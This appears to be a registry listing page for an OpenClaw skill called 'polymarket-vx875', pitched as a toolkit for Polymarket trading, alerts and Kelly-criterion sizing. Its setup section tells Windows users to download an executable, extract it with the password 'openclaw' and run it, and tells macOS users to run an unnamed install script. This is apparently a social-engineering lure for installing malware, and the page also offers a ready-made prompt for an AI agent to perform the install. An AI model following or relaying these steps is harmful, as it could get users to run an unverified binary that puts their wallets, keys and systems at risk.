A powerful technical toolkit for Openclaw Skills designed to analyze, track, and automate trading on the Polymarket prediction platform.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install polymarket-vx875
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install polymarket-vx875 using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is Polymarket Trading?
The Polymarket Trading skill is a comprehensive integration for Openclaw Skills that enables developers and traders to interface with decentralized prediction markets. By utilizing this skill, users can programmatically interact with the Polymarket Gamma and CLOB APIs to identify profitable opportunities in politics, sports, and economics.
At its core, this Openclaw Skills extension bridges the gap between manual trading and automated market analysis. It allows for real-time monitoring of event probabilities, order book depth, and trade execution. Whether you are looking to hedge risks or exploit information edges, this tool provides the necessary API wrappers and scripts to maintain a competitive advantage in the prediction market space.
Polymarket Trading Use Cases
- Creating automated price alerts to notify you when specific market odds shift significantly using Openclaw Skills.
- Building custom portfolio dashboards to monitor multiple YES/NO positions and real-time P&L.
- Identifying arbitrage opportunities between Polymarket and other forecasting platforms like Kalshi or PredictIt.
- Automating the discovery of new markets to ensure early participation in high-volume events.
- Implementing advanced position sizing strategies like the Kelly Criterion via CLI tools.
How Polymarket Trading Works
- The skill requires the openclaw-agent to be running locally, which handles the secure communication between Openclaw Skills and the Polymarket API endpoints.
- Users query the Gamma API to retrieve active markets, descriptions, and current outcome prices represented as implied probabilities.
- The skill interfaces with the Central Limit Order Book (CLOB) API to fetch real-time bid/ask spreads and market depth.
- Custom logic or scripts within Openclaw Skills process this data to execute trades or trigger alerts based on user-defined thresholds.
- Continuous monitoring scripts track the status of positions until market resolution, providing data-driven insights for future trading cycles.
Polymarket Trading Setup
To activate this skill within your Openclaw Skills environment, follow these steps:
- Install openclaw-agent:
- Windows: Download the executable, extract with password
openclaw, and run it. - macOS: Execute the installation script in your terminal to enable agent capabilities.
- Windows: Download the executable, extract with password
- Configure Environment:
Ensure your
POLYMARKET_ADDRESSis set and thatjqandcurlare available in your path. - Verify Connectivity: Run a test query to confirm API access:
curl -s "https://gamma-api.polymarket.com/markets?closed=false&limit=5" | jq
Polymarket Trading Data Schema & Taxonomy
The Polymarket skill organizes data using standard JSON structures from the Gamma and CLOB APIs. Below is how the data is typically indexed within Openclaw Skills:
| Object | Key Fields | Purpose |
|---|---|---|
| Market | question, slug, outcomePrices |
High-level market overview and pricing. |
| Order Book | bids, asks, market_id |
Liquidity and depth analysis. |
| Position | shares, side, entry_price |
Personal portfolio tracking metrics. |
| Activity | volume, liquidity, startDate |
Market health and trend identification. |
Polymarket Trading Advanced Features
- Multi-Agent Support: Coordinate multiple Openclaw Skills instances to monitor different market categories simultaneously.
- Automated Momentum Tracking: Scripts to identify markets with rapid volume spikes or sharp price movements.
- Custom Risk Modeling: Built-in Kelly Criterion calculations to determine the mathematical optimal stake for any given trade.
- Portfolio Export: Functionality to generate detailed CSV or spreadsheet reports for tax and performance auditing.
- Real-time Webhooks: Integration hooks to send alerts to Telegram or Discord via the Openclaw Skills workflow.
SKILL.md
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